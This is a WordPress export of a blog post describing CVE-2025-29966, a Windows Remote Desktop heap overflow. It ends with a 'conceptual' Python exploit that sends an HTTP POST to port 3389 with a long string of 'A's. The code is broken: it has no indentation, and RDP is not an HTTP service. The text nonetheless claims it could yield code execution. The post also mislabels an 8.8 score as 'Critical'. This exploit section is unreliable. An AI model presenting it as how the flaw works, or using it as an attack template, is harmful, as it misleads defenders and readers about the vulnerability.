{"id":41981,"date":"2025-05-21T20:00:45","date_gmt":"2025-05-21T20:00:45","guid":{"rendered":""},"modified":"2025-07-05T17:20:31","modified_gmt":"2025-07-05T23:20:31","slug":"cve-2025-29966-windows-remote-desktop-heap-based-buffer-overflow-vulnerability","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-29966-windows-remote-desktop-heap-based-buffer-overflow-vulnerability\/","title":{"rendered":"<strong>CVE-2025-29966: Windows Remote Desktop Heap-Based Buffer Overflow Vulnerability<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-29966 is a critical vulnerability that affects the Windows Remote Desktop, a widely used feature that allows users to connect and control their systems remotely. This vulnerability, a heap-based buffer overflow, can potentially allow an unauthorized attacker to execute code over a network. It poses a significant <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-20698-windows-kernel-elevation-of-privilege-vulnerability-a-threat-to-system-security\/\"  data-wpil-monitor-id=\"47210\">threat as it can lead to system<\/a> compromise or data leakage, jeopardizing the security and privacy of both individuals and organizations.<br \/>\n<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4448-critical-buffer-overflow-vulnerability-in-d-link-dir-619l\/\"  data-wpil-monitor-id=\"47056\">Buffer overflow vulnerabilities<\/a> like CVE-2025-29966 are particularly concerning as they can potentially give attackers the ability to execute arbitrary code, providing them with a high level of control over the affected system. The widespread use of Windows Remote Desktop across various sectors, from <a href=\"https:\/\/www.ameeba.com\/blog\/escalating-cyber-risks-how-businesses-and-governments-are-fortifying-digital-defenses\/\"  data-wpil-monitor-id=\"47211\">businesses to government<\/a> agencies, underscores the urgent need for effective countermeasures against this vulnerability.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-29966<br \/>\nSeverity: Critical (8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-34333-critical-vulnerability-in-ami-s-spx-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"47717\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-741904407\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21325-microsoft-printer-metadata-troubleshooter-tool-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"47716\">Microsoft Windows | All versions with Windows Remote<\/a> Desktop enabled<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>A heap-based <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4446-critical-buffer-overflow-vulnerability-in-h3c-gr-5400ax\/\"  data-wpil-monitor-id=\"47062\">buffer overflow<\/a> occurs when a program writes more data into a buffer located on the heap than it can actually hold. In this case, an attacker can send specially crafted <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48257-remote-code-execution-and-data-exposure-vulnerability\/\"  data-wpil-monitor-id=\"47904\">data to the Windows Remote<\/a> Desktop service. If the data exceeds the buffer&#8217;s capacity, it will overflow, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-7032-security-flaw-allowing-privilege-escalation-through-untrusted-data-deserialization\/\"  data-wpil-monitor-id=\"47529\">allowing the attacker to overwrite other data<\/a> structures in the heap memory.<br \/>\nThis can lead to a variety of adverse effects such as data corruption, program crashes, or in more serious cases like CVE-2025-29966, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-46721-arbitrary-code-execution-vulnerability-in-macos\/\"  data-wpil-monitor-id=\"47759\">arbitrary code execution<\/a>. This means that an attacker could inject and execute their own malicious code on the targeted system, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31234-input-sanitization-flaw-leading-to-system-termination-and-kernel-memory-corruption\/\"  data-wpil-monitor-id=\"47884\">leading to system<\/a> compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3797295550\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following pseudo-code <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50213-special-element-injection-vulnerability-in-apache-airflow-providers-snowflake\/\"  data-wpil-monitor-id=\"64047\">provides a conceptual example of how this vulnerability<\/a> could be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">import socket\ndef exploit(target_ip, port, malicious_payload):\n# Create a new socket object\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n# Connect to the target system\ns.connect((target_ip, port))\n# Craft a malicious request with the payload\nrequest = f&quot;POST \/rdp HTTP\/1.1\\r\\nHost: {target_ip}\\r\\nContent-Type: application\/octet-stream\\r\\n\\r\\n{malicious_payload}&quot;\n# Send the malicious request\ns.send(request.encode())\n# Close the socket connection\ns.close()\n# Target IP address, port and the malicious payload\ntarget_ip = &quot;192.168.1.2&quot;\nport = 3389\nmalicious_payload = &quot;A&quot;*5000  # An example of a buffer overflow attack\n# Call the exploit function\nexploit(target_ip, port, malicious_payload)<\/code><\/pre>\n<p>In this example, the `exploit` function sends a malicious HTTP POST request to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4660-critical-remote-code-execution-vulnerability-in-windows-secureconnector-agent\/\"  data-wpil-monitor-id=\"48967\">Windows Remote<\/a> Desktop service running on the target system. The payload, represented by a large string of &#8216;A&#8217;s, is designed to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4440-critical-buffer-overflow-vulnerability-in-h3c-gr-1800ax\/\"  data-wpil-monitor-id=\"47064\">overflow the buffer<\/a>, which could lead to arbitrary code execution.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-29966 is a critical vulnerability that affects the Windows Remote Desktop, a widely used feature that allows users to connect and control their systems remotely. This vulnerability, a heap-based buffer overflow, can potentially allow an unauthorized attacker to execute code over a network. It poses a significant threat as it can lead to system [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[82],"product":[],"attack_vector":[86,80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-41981","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-microsoft","attack_vector-buffer-overflow","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/41981","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=41981"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/41981\/revisions"}],"predecessor-version":[{"id":57582,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/41981\/revisions\/57582"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=41981"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=41981"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=41981"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=41981"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=41981"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=41981"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=41981"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=41981"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=41981"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}